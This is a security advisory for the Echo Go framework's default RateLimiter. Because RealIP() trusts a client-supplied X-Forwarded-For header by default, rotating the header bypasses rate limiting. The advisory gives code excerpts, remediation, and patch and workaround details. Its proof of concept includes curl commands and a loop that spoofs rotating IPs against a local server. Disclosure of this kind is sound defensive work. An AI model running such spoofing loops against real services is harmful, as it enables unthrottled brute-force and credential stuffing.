Summary

When echo.New() is used without explicitly setting Echo#IPExtractor, the RealIP() method falls back to reading the client-supplied X-Forwarded-For (or X-Real-IP) header without any proxy-origin validation. The default RateLimiter() middleware derives its per-client identifier from ctx.RealIP(), so an attacker can rotate arbitrary values in the X-Forwarded-For header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely.

Severity

Medium (CVSS 3.1: 5.3)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

• Attack Vector: Network — any HTTP client can set arbitrary request headers
• Attack Complexity: Low — no special conditions, chaining, or network position required; attacker simply rotates a header value
• Privileges Required: None — no authentication required
• User Interaction: None
• Scope: Unchanged — impact is contained to the rate-limited service
• Confidentiality Impact: None — the bypass itself does not expose data
• Integrity Impact: Low — allows unlimited requests to endpoints protected by IP-based throttling, enabling brute-force, credential stuffing, or enumeration against controls that depend on rate limiting
• Availability Impact: Low — can facilitate high-volume request floods against rate-limited endpoints; does not cause direct DoS but removes the throttle intended to prevent it

Affected Component

• context.go — (*Context).RealIP() (lines 186–208), legacy fallback branch (lines 190–200)
• middleware/rate_limiter.go — DefaultRateLimiterConfig.IdentifierExtractor (lines 46–58); RateLimiter() (lines 71–76)
• echo.go — New() (lines 326–343), IPExtractor left nil by default

CWE

• CWE-284: Improper Access Control — rate limiting can be bypassed via client-controlled input
• CWE-346: Origin Validation Error — forwarded IP headers accepted from untrusted sources without proxy-origin validation

Description

RealIP() unconditionally trusts X-Forwarded-For when IPExtractor is unset

Context.RealIP() (context.go:186-208) first checks c.echo.IPExtractor. When this field is nil (the default for echo.New()), it falls through to legacy behavior and returns the first IP from the X-Forwarded-For header — the position an attacker has full control over:

// context.go:186-200
func (c *Context) RealIP() string {
    if c.echo != nil && c.echo.IPExtractor != nil {
        return c.echo.IPExtractor(c.request)
    }
    // Fall back to legacy behavior
    if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" {
        i := strings.IndexAny(ip, ",")
        if i > 0 {
            xffip := strings.TrimSpace(ip[:i])
            xffip = strings.TrimPrefix(xffip, "[")
            xffip = strings.TrimSuffix(xffip, "]")
            return xffip   // ← attacker-controlled first IP
        }
        return ip
    }
    if ip := c.request.Header.Get(HeaderXRealIP); ip != "" {
        ...
        return ip          // ← also attacker-controlled
    }
    ra, _, _ := net.SplitHostPort(c.request.RemoteAddr)
    return ra
}

Rate limiter default identifier extractor calls RealIP() unconditionally

DefaultRateLimiterConfig (rate_limiter.go:46-58) sets the identifier extractor to ctx.RealIP() with no guard for whether a safe IPExtractor is configured:

// rate_limiter.go:46-58
var DefaultRateLimiterConfig = RateLimiterConfig{
    Skipper: DefaultSkipper,
    IdentifierExtractor: func(ctx *echo.Context) (string, error) {
        id := ctx.RealIP()   // ← reads attacker-controlled header
        return id, nil
    },
    ...
}

RateLimiter(store) (rate_limiter.go:71-76) copies DefaultRateLimiterConfig directly:

// rate_limiter.go:71-76
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {
    config := DefaultRateLimiterConfig
    config.Store = store
    return RateLimiterWithConfig(config)
}

The result is that the most common usage pattern — e.GET("/path", h, middleware.RateLimiter(store)) — produces a rate limiter whose per-client identifier is fully controlled by the requester.

Framework acknowledges the issue for IP extraction but the rate limiter carries no warning

ip.go:27 explicitly states the default is insecure:

"Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."

And ip.go:117-119:

"In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility."

The IPExtractor mechanism (ExtractIPDirect(), ExtractIPFromXFFHeader(), ExtractIPFromRealIPHeader()) in ip.go exists precisely to close this gap. However, the RateLimiter() function and DefaultRateLimiterConfig have no corresponding warning and make no attempt to detect or flag that IPExtractor is unset, leaving operators who follow the standard rate limiter example silently exposed.

The test TestRateLimiterWithConfig_defaultConfig (rate_limiter_test.go:181-226) itself drives the rate limiter by setting X-Real-IP directly on the test request — demonstrating that the identifier is freely injectable without comment or mitigation.

Full execution chain

1. Server starts with echo.New() (no IPExtractor set) and e.GET("/limited", h, middleware.RateLimiter(store))
2. Attacker sends GET /limited with header X-Forwarded-For: 1.2.3.4 — rate bucket for 1.2.3.4 consumed
3. Attacker sends GET /limited again with X-Forwarded-For: 1.2.3.4 — second token consumed; if burst is 1, next request would be 429
4. Attacker sends GET /limited with X-Forwarded-For: 5.6.7.8 — new bucket created for 5.6.7.8, 200 OK returned
5. Attacker repeats step 4 with arbitrary IPs — rate limit never triggers; unlimited requests served

Proof of Concept

package main

import (
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    // NOTE: IPExtractor deliberately NOT set — this is the default
    store := middleware.NewRateLimiterMemoryStore(1)
    e.GET("/limited", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    }, middleware.RateLimiter(store))
    e.Logger.Fatal(e.Start(":1324"))
}

# First request with IP 1.1.1.1 — consumes burst token
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK

# Second request with same IP — rate limited
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 429 Too Many Requests

# Third request with DIFFERENT spoofed IP — bypass: new bucket, 200 OK
curl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK

# Repeat indefinitely with rotating IPs — rate limit never triggers
for i in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code}\n" -H "X-Forwarded-For: 10.0.0.$i" http://127.0.0.1:1324/limited
done
# 200 200 200 ... (all 200, never 429)

Impact

• Attackers can make unlimited requests to any endpoint protected by middleware.RateLimiter() using the default configuration by rotating the X-Forwarded-For header
• Brute-force attacks against login, password reset, 2FA, and similar authentication endpoints are unthrottled
• API abuse and credential stuffing are possible at arbitrary throughput
• Any per-IP security control that relies on ctx.RealIP() with default configuration (access logging, geo-blocking, audit trails) is equally undermined

Recommended Remediation

Option 1: Require explicit IPExtractor configuration in RateLimiter() (preferred)

The RateLimiter() convenience function should detect when IPExtractor is not configured and either panic with a clear message or fall back to ExtractIPDirect() (direct-connection IP only):

// rate_limiter.go — illustrative change
var DefaultRateLimiterConfig = RateLimiterConfig{
    Skipper: DefaultSkipper,
    IdentifierExtractor: func(ctx *echo.Context) (string, error) {
        if ctx.Echo().IPExtractor == nil {
            // Fall back to direct TCP peer address — safe for non-proxied deployments
            host, _, err := net.SplitHostPort(ctx.Request().RemoteAddr)
            if err != nil {
                return ctx.Request().RemoteAddr, nil
            }
            return host, nil
        }
        return ctx.RealIP(), nil
    },
    ...
}

Option 2: Document and warn in RateLimiter() godoc

At minimum, add a prominent warning to the RateLimiter() and DefaultRateLimiterConfig documentation directing users to configure Echo#IPExtractor before using IP-based rate limiting, mirroring the guidance already present in ip.go.

// RateLimiter returns a rate limiting middleware.
//
// SECURITY: The default IdentifierExtractor uses ctx.RealIP(), which reads
// X-Forwarded-For / X-Real-IP headers. Without setting Echo#IPExtractor,
// these headers are fully client-controlled and can be spoofed to bypass
// rate limiting. Set e.IPExtractor = echo.ExtractIPDirect() (no proxy) or
// echo.ExtractIPFromXFFHeader() (trusted proxy) before using this middleware.
// See https://echo.labstack.com/guide/ip-address for details.
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.1.0: without Echo#IPExtractor, Context.RealIP() returns the address of the direct peer; the previous behavior is available as LegacyIPExtractor.

github.com/labstack/echo/v4 keeps its default for compatibility.

Workarounds

Configure Echo#IPExtractor for your deployment (echo.ExtractIPDirect() without a proxy, echo.ExtractIPFromXFFHeader() behind proxies, with TrustIPRange for proxies on public addresses), or set RateLimiterConfig.IdentifierExtractor to an identifier that clients cannot choose.